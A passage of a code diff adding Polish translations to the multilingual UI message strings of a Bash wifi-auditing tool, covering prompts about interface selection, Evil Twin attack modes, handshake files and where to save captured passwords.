ήδη επιλέξει δεν έιναι κάρτα wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" arr["ITALIAN",281]="L'interfaccia ${interface} che hai scelto non è una scheda wifi. Per questo attacco è necessario che l'interfaccia selezionata sia wifi" - arr["POLISH",281]="${pending_of_translation} " + arr["POLISH",281]="${pending_of_translation} Interfejs ${interface}, który wybrałeś, nie jest kartą wifi. Ten atak wymaga wybrania interfejsu wifi" arr["ENGLISH",282]="Selected internet interface: ${pink_color}${internet_interface}${normal_color}" arr["SPANISH",282]="Interfaz con internet seleccionada: ${pink_color}${internet_interface}${normal_color}" @@ -3298,7 +3298,7 @@ function language_strings() { arr["RUSSIAN",282]="Выбранный Интернет интерфейс: ${pink_color}${internet_interface}${normal_color}" arr["GREEK",282]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: ${pink_color}${internet_interface}${normal_color}" arr["ITALIAN",282]="Interfaccia internet selezionata: ${pink_color}${internet_interface}${normal_color}" - arr["POLISH",282]="${pending_of_translation} " + arr["POLISH",282]="${pending_of_translation} Interfejs z wybranym internetem: ${pink_color}${internet_interface}${normal_color}" arr["ENGLISH",283]="Selected internet interface: ${pink_color}None${normal_color}" arr["SPANISH",283]="Interfaz con internet seleccionada: ${pink_color}Ninguna${normal_color}" @@ -3308,7 +3308,7 @@ function language_strings() { arr["RUSSIAN",283]="Выбранный Интернет интерфейс: ${pink_color}Нет${normal_color}" arr["GREEK",283]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: ${pink_color}Καμία${normal_color}" arr["ITALIAN",283]="Interfaccia internet selezionata: ${pink_color}Nessuna${normal_color}" - arr["POLISH",283]="${pending_of_translation} " + arr["POLISH",283]="${pending_of_translation} Interfejs z wybranym internetem: ${pink_color}Brak${normal_color}" arr["ENGLISH",284]="Do you want to use this selected interface? ${normal_color}${visual_choice}" arr["SPANISH",284]="¿Quieres utilizar esta interfaz ya seleccionada? ${normal_color}${visual_choice}" @@ -3318,7 +3318,7 @@ function language_strings() { arr["RUSSIAN",284]="Вы хотите использовать этот выбранный интерфейс? ${normal_color}${visual_choice}" arr["GREEK",284]="Θέλετε να χρησιμοποιήσετε αυτή την επιλεγμένη διεπαφή; ${normal_color}${visual_choice}" arr["ITALIAN",284]="Vuoi usare questa interfaccia già selezionata? ${normal_color}${visual_choice}" - arr["POLISH",284]="${pending_of_translation} " + arr["POLISH",284]="${pending_of_translation} Czy chcesz skorzystać z tego interfejsu? ${normal_color}${visual_choice}" arr["ENGLISH",285]="Selected interface with internet access detected during this session [${normal_color}${internet_interface}${blue_color}]" arr["SPANISH",285]="Se ha detectado que ya tiene un interfaz con acceso a internet seleccionada en esta sesión [${normal_color}${internet_interface}${blue_color}]" @@ -3328,7 +3328,7 @@ function language_strings() { arr["RUSSIAN",285]="Во время этой сессии обнаружен выбранный интерфейс с Интернет подключением [${normal_color}${internet_interface}${blue_color}]" arr["GREEK",285]="Η επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο εντοπίστηκε κατά τη διάρκεια της συνεδρίας [${normal_color}${internet_interface}${blue_color}]" arr["ITALIAN",285]="E' stato riscontrato che ha già un'interfaccia con accesso a internet selezionata in questa sessione [${normal_color}${internet_interface}${blue_color}]" - arr["POLISH",285]="${pending_of_translation} " + arr["POLISH",285]="${pending_of_translation} Wykryto, że masz już interfejs z dostępem do internetu wybranym w tej sesji [${normal_color}${internet_interface}${blue_color}]" arr["ENGLISH",286]="If you don't have a captured Handshake file from the target network you can get it now" arr["SPANISH",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" @@ -3338,7 +3338,7 @@ function language_strings() { arr["RUSSIAN",286]="Если у вас отсутствует файл с рукопожатием целевой сети, вы можете сейчас захватить его" arr["GREEK",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" arr["ITALIAN",286]="Se non hai catturato un file di Handshake dalla rete obiettivo puoi ottenerlo ora" - arr["POLISH",286]="${pending_of_translation} " + arr["POLISH",286]="${pending_of_translation} Jeśli nie masz pliku Handshake przechwyconego w sieci docelowej, możesz ją teraz pobrać" arr["ENGLISH",287]="The script will check for internet access. Please be patient..." arr["SPANISH",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -3348,7 +3348,7 @@ function language_strings() { arr["RUSSIAN",287]="Этот скрипт проверит доступ к Интернету. Подождите немного..." arr["GREEK",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",287]="Lo script controllerà se si ha accesso a internet. Si prega di essere pazienti..." - arr["POLISH",287]="${pending_of_translation} " + arr["POLISH",287]="${pending_of_translation} Skrypt sprawdzi, czy masz dostęp do internetu. Bądźcie cierpliwi..." arr["ENGLISH",288]="It seems you have no internet access. This attack needs an interface with internet access" arr["SPANISH",288]="Parece que no tienes conexión a internet. Este ataque necesita una interfaz con acceso a internet" @@ -3358,7 +3358,7 @@ function language_strings() { arr["RUSSIAN",288]="Судя по всему, у вас нет доступа к Интернету. Эта атака требует интерфейс с Интернет доступом" arr["GREEK",288]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Αυτή η επίθεση χρειάζεται μία διεπαφή με πρόσβαση στο διαδίκτυο" arr["ITALIAN",288]="Sembra che tu non abbia alcuna connessione a internet. Questo attacco ha bisogno di un'interfaccia con connessione a internet" - arr["POLISH",288]="${pending_of_translation} " + arr["POLISH",288]="${pending_of_translation} Wygląda na to, że nie masz połączenia internetowego. Ten atak wymaga interfejsu z dostępem do internet" arr["ENGLISH",289]="It has been verified successfully you have internet access on selected interface. Script can continue..." arr["SPANISH",289]="Se ha verificado correctamente que tienes acceso a internet en la interfaz seleccionada. El script puede continuar..." @@ -3368,7 +3368,7 @@ function language_strings() { arr["RUSSIAN",289]="Проверка доступа к Интернету прошла успешно на выбранном интерфейс. Скрипт может продолжать..." arr["GREEK",289]="Επαληθεύτηκε επιτυχώς πως έχετε πρόσβαση στο διαδίκτυο με την επιλεγμένη διεπαφή. Το script μπορεί να συνεχίσει..." arr["ITALIAN",289]="E' stato verificato con successo che si ha accesso a internet sull'interfaccia selezionata. Lo script può continuare ..." - arr["POLISH",289]="${pending_of_translation} " + arr["POLISH",289]="${pending_of_translation} Udało Ci się sprawdzić, czy masz dostęp do internet w wybranym interfejsie. Skrypt może kontynuować..." arr["ENGLISH",290]="It seems you have internet access but not in the selected interface acting as interface with internet access" arr["SPANISH",290]="Parece que tienes conexión a internet pero no en la interfaz seleccionada como interfaz con acceso a internet" @@ -3378,7 +3378,7 @@ function language_strings() { arr["RUSSIAN",290]="Судя по всему у вас есть доступ к Интернету, но не на выбранном для Интернет доступа интерфейсе" arr["GREEK",290]="Φαίνεται πως έχετε πρόσβαση στο διαδίκτυο αλλά όχι στην επιλεγμένη διεπαφή που ενεργεί ως διεπαφή με πρόσβαση στο διαδίκτυο" arr["ITALIAN",290]="Sembra che hai connession a internet ma non nell'interfaccia selezionata come interfaccia con accesso ad internet" - arr["POLISH",290]="${pending_of_translation} " + arr["POLISH",290]="${pending_of_translation} Wydaje się, że masz połączenie z internet, ale nie w interfejsie wybranym jako interfejs z dostępem do internet" arr["ENGLISH",291]="Evil Twin AP attack with sniffing" arr["SPANISH",291]="Ataque Evil Twin AP con sniffing" @@ -3388,7 +3388,7 @@ function language_strings() { arr["RUSSIAN",291]="Атака Злой Двойник ТД со сниффингом" arr["GREEK",291]="Επίθεση Evil Twin AP με sniffing" arr["ITALIAN",291]="Attacco Evil Twin AP con sniffing" - arr["POLISH",291]="${pending_of_translation} " + arr["POLISH",291]="${pending_of_translation} Ataku Evil Twin AP z sniffing" arr["ENGLISH",292]="Evil Twin AP attack with sniffing and sslstrip" arr["SPANISH",292]="Ataque Evil Twin AP con sniffing y sslstrip" @@ -3398,7 +3398,7 @@ function language_strings() { arr["RUSSIAN",292]="Атака Злой Двойник ТД со сниффингом и sslstrip" arr["GREEK",292]="Επίθεση Evil Twin AP με sniffing και sslstrip" arr["ITALIAN",292]="Attacco Evil Twin AP con sniffing e sslstrip" - arr["POLISH",292]="${pending_of_translation} " + arr["POLISH",292]="${pending_of_translation} Ataku Evil Twin AP z sniffing i sslstrip" arr["ENGLISH",293]="Evil Twin AP attack with captive portal" arr["SPANISH",293]="Ataque Evil Twin AP con portal cautivo" @@ -3408,7 +3408,7 @@ function language_strings() { arr["RUSSIAN",293]="Атака Злой Двойник ТД с перехватывающим порталом" arr["GREEK",293]="Επίθεση Evil Twin AP με captive portal" arr["ITALIAN",293]="Attacco Evil Twin AP con captive portal" - arr["POLISH",293]="${pending_of_translation} " + arr["POLISH",293]="${pending_of_translation} Ataku Evil Twin AP z wmontowanym portalem" arr["ENGLISH",294]="Detecting resolution... Detected! : ${normal_color}${resolution}" arr["SPANISH",294]="Detectando resolución... Detectada! : ${normal_color}${resolution}" @@ -3418,7 +3418,7 @@ function language_strings() { arr["RUSSIAN",294]="Определение разрешения... Определено! : ${normal_color}${resolution}" arr["GREEK",294]="Εντοπίζεται η ανάλυση... Εντοπίστηκε! : ${normal_color}${resolution}" arr["ITALIAN",294]="Rilevamento risoluzione... Rilevata! : ${normal_color}${resolution}" - arr["POLISH",294]="${pending_of_translation} " + arr["POLISH",294]="${pending_of_translation} Wykrywanie rozdzielczości... Wykryte! : ${normal_color}${resolution}" arr["ENGLISH",295]="Detecting resolution... Can't be detected!, using standard : ${normal_color}${resolution}" arr["SPANISH",295]="Detectando resolución... No se ha podido detectar!, usando estándar : ${normal_color}${resolution}" @@ -3428,7 +3428,7 @@ function language_strings() { arr["RUSSIAN",295]="Определение разрешения... Не получается определить!, используется стандартное : ${normal_color}${resolution}" arr["GREEK",295]="Εντοπίζεται η ανάλυση... Δεν μπορεί να εντοπιστεί!, χρησιμοποιείται η προεπιλεγμένη : ${normal_color}${resolution}" arr["ITALIAN",295]="Rilevamento risoluzione... Non è stato possible rilevarla!, usando quella standard : ${normal_color}${resolution}" - arr["POLISH",295]="${pending_of_translation} " + arr["POLISH",295]="${pending_of_translation} Wykrywanie rozdzielczości... Nie można wykryć!, używając standardu : ${normal_color}${resolution}" arr["ENGLISH",296]="All parameters and requirements are set. The attack is going to start. Multiple windows will be opened, don't close anyone. When you want to stop the attack press [Enter] on this window and the script will automatically close them all" arr["SPANISH",296]="Todos los parámetros y requerimientos están listos. Va a comenzar el ataque. Se abrirán múltiples ventanas, no cierres ninguna. Cuando quieras parar el ataque pulsa [Enter] en esta ventana y el script cerrará automáticamente todo" @@ -3438,7 +3438,7 @@ function language_strings() { arr["RUSSIAN",296]="Все параметры и требования готовы. Атака может быть начата. Будет открыто много окон, не закрывайте их. Когда вы захотите остановить атаку, нажмите [Enter] в этом окне и скрипт автоматически их все закроет" arr["GREEK",296]="Όλοι οι παράμετροι και οι απαιτήσεις έχουν τεθεί. Η επίθεση πρόκειται να ξεκινήσει. Θα ανοίξουν πολλαπλά παράθυρα, μην επιχειρήσετε να κλείσετε κάποιο. Όταν θελήσετε να σταματήσετε την επίθεση πατήστε [Enter] σε αυτό το παράθυρο και το script θα τα κλείσει όλα" arr["ITALIAN",296]="Tutti i parametri e i requisiti sono pronti. Si inizierà l'attacco. Si apriranno varie finestre, non chiuderne nessuna. Quando vuoi fermare l'attacco premi [Enter] in questa finestra e lo script chiuderá automaticamente tutto" - arr["POLISH",296]="${pending_of_translation} " + arr["POLISH",296]="${pending_of_translation} Wszystkie parametry i wymagania są gotowe. Atak ma się rozpocząć. Otwarte zostanie wiele okien, nie zamykaj. Aby zatrzymać atak, wciśnij [Enter] w tym oknie, a skrypt automatycznie zamknie wszystkie" arr["ENGLISH",297]="Cleaning iptables and routing rules" arr["SPANISH",297]="Limpiando iptables y reglas de routing" @@ -3448,7 +3448,7 @@ function language_strings() { arr["RUSSIAN",297]="Очистка iptables и правил маршуртизации" arr["GREEK",297]="Γινεται καθαρισμός των iptables και των κανόνων δρομολόγησης" arr["ITALIAN",297]="Pulendo iptables e le regole di routing" - arr["POLISH",297]="${pending_of_translation} " + arr["POLISH",297]="${pending_of_translation} Usuwanie iptables i reguł routingu" arr["ENGLISH",298]="Evil Twin attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",298]="El ataque Evil Twin ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" @@ -3458,7 +3458,7 @@ function language_strings() { arr["RUSSIAN",298]="Атака Злой Двойник начата. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",298]="Η επίθεση Evil Twin ξεκίνησε. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",298]="L'attacco Evil Twin è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" - arr["POLISH",298]="${pending_of_translation} " + arr["POLISH",298]="${pending_of_translation} Rozpoczął się atak Evil Twin. Naciśnij klawisz [Enter] w tym oknie, aby go zatrzymać" arr["ENGLISH",299]="Restoring interface..." arr["SPANISH",299]="Restaurando interfaz..." @@ -3468,7 +3468,7 @@ function language_strings() { arr["RUSSIAN",299]="Восстановление интерфейса..." arr["GREEK",299]="Γίνεται επαναφορά διεπαφής..." arr["ITALIAN",299]="Ripristinando interfaccia..." - arr["POLISH",299]="${pending_of_translation} " + arr["POLISH",299]="${pending_of_translation} Przywracanie interfejsu..." arr["ENGLISH",300]="If the xpdyinfo command works, the script will be able to calculate your screen resolution and display the windows in a better way. Depending of the system, the package name containing it could be x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["SPANISH",300]="Si haces que funcione en tu sistema el comando xdpyinfo, el script podrá calcular tu resolución de pantalla y mostrarte las ventanas de forma más optimizada. Dependiendo del sistema el paquete que lo contiene puede llamarse x11-utils, xdpyinfo, xorg-xdpyinfo, etc." @@ -3478,7 +3478,7 @@ function language_strings() { arr["RUSSIAN",300]="Команда xpdyinfo поможет этому скрипту определить разрешение вашего экрана и выбрать наилучшее отображение окон. В зависимости от системы, имя пакета, в котором содержится эта программа, может быть x11-utils, xdpyinfo, xorg-xdpyinfo, и т.д." arr["GREEK",300]="Αν δουλέψει η εντολή xpdyinfo, το script θα μπορέσει να υπολογίσει την ανάλυση της οθόνης και να δείχνει τα παράθυρα καλύτερα. Εξαρτάται από το σύστημα, το όνομα του πακέτου που το περιέχει θα μπορούσε να είναι x11-utils, xdpyinfo, xorg-xdpyinfo, κτλπ." arr["ITALIAN",300]="Se funziona il comando xdpyinfo, lo script calcolerà la risoluzione dello schermo e mostrerá le finestre in modo ottimizzato. A seconda del sistema il pacchetto che lo contiene può chiamarsi x11-utils, xdpyinfo, xorg-xdpyinfo, etc." - arr["POLISH",300]="${pending_of_translation} " + arr["POLISH",300]="${pending_of_translation} Jeśli polecenie xdpyinfo działa w systemie, skrypt będzie mógł obliczyć rozdzielczość ekranu i lepiej wyświetlać okna. W zależności od systemu pakiet zawierający go może być nazwany x11-utils, xdpyinfo, xorg-xdpyinfo, itd." arr["ENGLISH",301]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install lspci (pciutils) and you don't have it right now. Please, install it and launch the script again" arr["SPANISH",301]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado lspci (pciutils) y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" @@ -3488,7 +3488,7 @@ function language_strings() { arr["RUSSIAN",301]="Не смотря на то, что установлены все необходимые основные инструменты, ваша система использует airmon-zc вместо airmon-ng. Чтобы работа проходила должным образом, вам нужно установить lspci (pciutils), которых в данный момент у вас нет. Пожалуйста, установите их и запустите скрипт снова" arr["GREEK",301]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το lspci (pciutils) το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["ITALIAN",301]="Pur avendo tutti gli strumenti essenziali installati, il sistema utilizza airmon-zc invece di airmon-ng. Per funzionare è necessario installare lspci (pciutils) e tu non lo hai in questo momento. Si prega di installarlo e lanciare nuovamente lo script" - arr["POLISH",301]="${pending_of_translation} " + arr["POLISH",301]="${pending_of_translation} Mimo że zainstalowano wszystkie niezbędne narzędzia, system zamiast airmon-ng wykorzystuje system airmon-zc. Aby pracować musisz mieć zainstalowane lspci (pciutils) i nie masz go w tej chwili. Zainstaluj go i ponownie uruchom skrypt" arr["ENGLISH",302]="Do you want to store in a file the sniffed captured passwords? ${blue_color}If you answer no (\"n\") they will be only shown on screen ${normal_color}${visual_choice}" arr["SPANISH",302]="¿Deseas guardar en un fichero las contraseñas obtenidas del sniffing? ${blue_color}Si respondes que no (\"n\") solo se mostrarán por pantalla ${normal_color}${visual_choice}" @@ -3498,7 +3498,7 @@ function language_strings() { arr["RUSSIAN",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? ${blue_color}Если ваш ответ нет (\"n\") они будут только показаны на экране ${normal_color}${visual_choice}" arr["GREEK",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης; ${blue_color}Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη ${normal_color}${visual_choice}" arr["ITALIAN",302]="Vuoi salvare in un file le password ottenute con sniffing? ${blue_color}Se si risponde no (\"n\") vengono visualizzate solo sullo schermo ${normal_color}${visual_choice}" - arr["POLISH",302]="${pending_of_translation} " + arr["POLISH",302]="${pending_of_translation} Czy chcesz zapisywać hasła w plikach? ${blue_color}Jeśli powiesz nie (\"n\") tylko ${normal_color}${visual_choice}" arr["ENGLISH",303]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_ettercap_logpath}]" arr["SPANISH",303]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_ettercap_logpath}]" @@ -3508,7 +3508,7 @@ function language_strings() { arr["RUSSIAN",303]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${default_ettercap_logpath}]" arr["GREEK",303]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_ettercap_logpath}]" arr["ITALIAN",303]="Digitare il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${default_ettercap_logpath}]" - arr["POLISH",303]="${pending_of_translation} " + arr["POLISH",303]="${pending_of_translation} Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${default_ettercap_logpath}]" arr["ENGLISH",304]="Parsing sniffer log..." arr["SPANISH",304]="Analizando log del sniffer..." @@ -3518,7 +3518,7 @@ function language_strings() { arr["RUSSIAN",304]="Разбор журнала сниффера..." arr["GREEK",304]="Γίνεται ανάλυση του log του sniffer..." arr["ITALIAN",304]="Analizzando log dello sniffer..." - arr["POLISH",304]="${pending_of_translation} " + arr["POLISH",304]="${pending_of_translation} Analiza dziennika sniffer..." arr["ENGLISH",305]="No passwords detected on sniffers's log. File will not be saved" arr["SPANISH",305]="No se ha encontrado ninguna contraseña en el log del sniffer. No se guardará el fichero" @@ -3528,7 +3528,7 @@ function language_strings() { arr["RUSSIAN",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" arr["GREEK",305]="Δεν εντοπίστηκαν κωδικοί πρόσβασης στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" arr["ITALIAN",305]="Nessuna password trovata nel log dello sniffer. Il file non viene salvato" - arr["POLISH",305]="${pending_of_translation} " + arr["POLISH",305]="${pending_of_translation} W dzienniku snifferów nie znaleziono hasła. Plik nie zostanie zapisany" arr["ENGLISH",306]="Passwords captured by sniffer. File saved at ${normal_color}[${ettercap_logpath}]" arr["SPANISH",306]="El sniffer ha capturado contraseñas. Fichero salvado en ${normal_color}[${ettercap_logpath}]" @@ -3538,7 +3538,7 @@ function language_strings() { arr["RUSSIAN",306]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${ettercap_logpath}]" arr["GREEK",306]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${ettercap_logpath}]" arr["ITALIAN",306]="Lo sniffer ha catturato delle password. File salvato in ${normal_color}[${ettercap_logpath}]" - arr["POLISH",306]="${pending_of_translation} " + arr["POLISH",306]="${pending_of_translation} Snajper przechwycił hasła. Plik zapisany w ${normal_color}[${ettercap_logpath}]" arr["ENGLISH",307]="Language changed to Russian" arr["SPANISH",307]="Idioma cambiado a Ruso" @@ -3548,7 +3548,7 @@ function language_strings() { arr["RUSSIAN",307]="Язык изменён на русский" arr["GREEK",307]="Η γλώσσα άλλαξε στα Ρωσικά" arr["ITALIAN",307]="Lingua cambiata in Russo" - arr["POLISH",307]="${pending_of_translation} " + arr["POLISH",307]="${pending_of_translation} Język zmieniono na język Rosyjski" arr["ENGLISH",308]="6. Russian" arr["SPANISH",308]="6. Ruso" @@ -3558,7 +3558,7 @@ function language_strings() { arr["RUSSIAN",308]="6. Русский" arr["GREEK",308]="6. Ρωσικά" arr["ITALIAN",308]="6. Russo" - arr["POLISH",308]="${pending_of_translation} " + arr["POLISH",308]="${pending_of_translation} 6. Rosyjski" arr["ENGLISH",309]="Sslstrip technique is not infallible. It depends on many factors and not always work. Some browsers such as Mozilla Firefox latest versions are not affected" arr["SPANISH",309]="La tecnica sslstrip no es infalible. Depende de muchos factores y no funciona siempre. Algunos navegadores como las últimas versiones de Mozilla Firefox no se ven afectados" @@ -3568,7 +3568,7 @@ function language_strings() { arr["RUSSIAN",309]="Техника sslstrip не является надёжной. Эффект программы зависит от многих факторов и иногда она просто не работает. Некоторые браузеры, такие как Mozilla Firefox последних версий, не подвержены атаке" arr["GREEK",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές ιστού όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" arr["ITALIAN",309]="La tecnica sslstrip non è infallibile. Dipende da molti fattori e non sempre funziona. Alcuni browser, come le ultime versioni di Mozilla Firefox non sono vulnerabili" - arr["POLISH",309]="${pending_of_translation} " + arr["POLISH",309]="${pending_of_translation} Technika sslstrip nie jest nieomylna. To zależy od wielu czynników i nie zawsze działa. Nie ma to wpływu na niektóre przeglądarki, takie jak najnowsze wersje Mozilla Firefox" arr["ENGLISH",310]="Handshake file selected: ${pink_color}None${normal_color}" arr["SPANISH",310]="Fichero de Handshake seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3578,7 +3578,7 @@ function language_strings() { arr["RUSSIAN",310]="Выбранный файл рукопожатия: ${pink_color}Отсутствует${normal_color}" arr["GREEK",310]="Επιλεγμένο αρχείο Χειραψίας: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",310]="File di Handshake selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",310]="${pending_of_translation} " + arr["POLISH",310]="${pending_of_translation} Wybrany plik Handshake: ${pink_color}Brak${normal_color}" arr["ENGLISH",311]="Handshake file selected: ${pink_color}${et_handshake}${normal_color}" arr["SPANISH",311]="Fichero de Handshake seleccionado: ${pink_color}${et_handshake}${normal_color}" @@ -3588,7 +3588,7 @@ function language_strings() { arr["RUSSIAN",311]="Выбранный файл рукопожатия: ${pink_color}${et_handshake}${normal_color}" arr["GREEK",311]="Επιλεγμένο αρχείο Χειραψίας: ${pink_color}${et_handshake}${normal_color}" arr["ITALIAN",311]="File di Handshake selezionato: ${pink_color}${et_handshake}${normal_color}" - arr["POLISH",311]="${pending_of_translation} " + arr["POLISH",311]="${pending_of_translation} Wybrany plik Handshake: ${pink_color}${et_handshake}${normal_color}" arr["ENGLISH",312]="No selected Handshake file detected during this session..." arr["SPANISH",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." @@ -3598,7 +3598,7 @@ function language_strings() { arr["RUSSIAN",312]="Во время этой сессии выбранный файл рукопожатия не обнаружен..." arr["GREEK",312]="Δεν εντοπίστηκε κανένα αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",312]="Non è stato rilevato nessun file di Handshake selezionato in questa sessione..." - arr["POLISH",312]="${pending_of_translation} " + arr["POLISH",312]="${pending_of_translation} Nie wybrano pliku Handshake w tej sesji..." arr["ENGLISH",313]="Handshake selected file detected during this session [${normal_color}${et_handshake}${blue_color}]" arr["SPANISH",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión [${normal_color}${et_handshake}${blue_color}]" @@ -3608,7 +3608,7 @@ function language_strings() { arr["RUSSIAN",313]="Обнаружен файл рукопожатия, выбранный в этой сессии [${normal_color}${et_handshake}${blue_color}]" arr["GREEK",313]="Εντοπίστηκε επιλεγμένο αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας [${normal_color}${et_handshake}${blue_color}]" arr["ITALIAN",313]="Trovato un file di Handshake selezionato in questa sessione [${normal_color}${et_handshake}${blue_color}]" - arr["POLISH",313]="${pending_of_translation} " + arr["POLISH",313]="${pending_of_translation} W tej sesji wykryto wybrany plik Handshake [${normal_color}${et_handshake}${blue_color}]" arr["ENGLISH",314]="Handshake file selected: ${pink_color}${enteredpath}${normal_color}" arr["SPANISH",314]="Fichero de Handshake seleccionado: ${pink_color}${enteredpath}${normal_color}" @@ -3618,7 +3618,7 @@ function language_strings() { arr["RUSSIAN",314]="Выбранный файл рукопожатия: ${pink_color}${enteredpath}${normal_color}" arr["GREEK",314]="Επιλεγμένο αρχείο Χειραψίας: ${pink_color}${enteredpath}${normal_color}" arr["ITALIAN",314]="File di Handshake selezionato: ${pink_color}${enteredpath}${normal_color}" - arr["POLISH",314]="${pending_of_translation} " + arr["POLISH",314]="${pending_of_translation} Wybrany plik Handshake: ${pink_color}${enteredpath}${normal_color}" arr["ENGLISH",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" arr["SPANISH",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" @@ -3628,7 +3628,7 @@ function language_strings() { arr["RUSSIAN",315]="Эта атака требует предварительного захвата файла рукопожатия для WPA/WPA2 сети" arr["GREEK",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" arr["ITALIAN",315]="Questo attacco richiede che tu abbia catturato precedentemente un file di Handshake di una rete WPA/WPA2" - arr["POLISH",315]="${pending_of_translation} " + arr["POLISH",315]="${pending_of_translation} Ten atak wymaga uprzedniego pobrania pliku Handshake z sieci WPA/WPA2" arr["ENGLISH",316]="An exploration looking for targets is going to be done..." arr["SPANISH",316]="Se va a realizar una exploración en busca de objetivos..." @@ -3638,7 +3638,7 @@ function language_strings() { arr["RUSSIAN",316]="Выполнение сканирования целей..." arr["GREEK",316]="Πρόκειται να γίνει μία αναζήτηση για έυρεση στόχων..." arr["ITALIAN",316]="Si effettuerà una scansione in cerca di obiettivi..." - arr["POLISH",316]="${pending_of_translation} " + arr["POLISH",316]="${pending_of_translation} Badanie zostanie przeprowadzone w celu osiągnięcia celów..." arr["ENGLISH",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. ${green_color}Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_et_captive_portal_logpath}]" arr["SPANISH",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_et_captive_portal_logpath}]" @@ -3648,7 +3648,7 @@ function language_strings() { arr["RUSSIAN",317]="Вы должны решить, где будет сохранён пароль wifi сети, если он будет получен Перехватывающим порталом. ${green_color}Впишите путь до файла или нажмите [Enter] для принятия значения по умолчанию ${normal_color}[${default_et_captive_portal_logpath}]" arr["GREEK",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_et_captive_portal_logpath}]" arr["ITALIAN",317]="Se si ottiene la passowrd della rete wireless con il captive portal, bisogna decidere dove salvarla. ${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default proposto ${normal_color}[${default_et_captive_portal_logpath}]" - arr["POLISH",317]="${pending_of_translation} " + arr["POLISH",317]="${pending_of_translation} Jeśli hasło sieci wifi zostanie pobrane z portalem, musisz zdecydować, gdzie go zapisać. ${green_color}Wpisz ścieżkę, w której zapisamy plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${default_et_captive_portal_logpath}]" arr["ENGLISH",318]="Choose the language in which network clients will see the captive portal :" arr["SPANISH",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" @@ -3658,7 +3658,7 @@ function language_strings() { arr["RUSSIAN",318]="Выберите язык, на котором клиенты сети будут видеть перехватывающий портал :" arr["GREEK",318]="Επιλέξτε τη γλώσσα που θα βλέπουν οι χρήστες του δικτύου στο captive portal :" arr["ITALIAN",318]="Scegli la lingua in cui i clienti della rete vedranno il captive portal :" - arr["POLISH",318]="${pending_of_translation} " + arr["POLISH",318]="${pending_of_translation} Wybierz język, w którym klienci sieci będą mogli zobaczyć portal :" arr["ENGLISH",319]="The captive portal 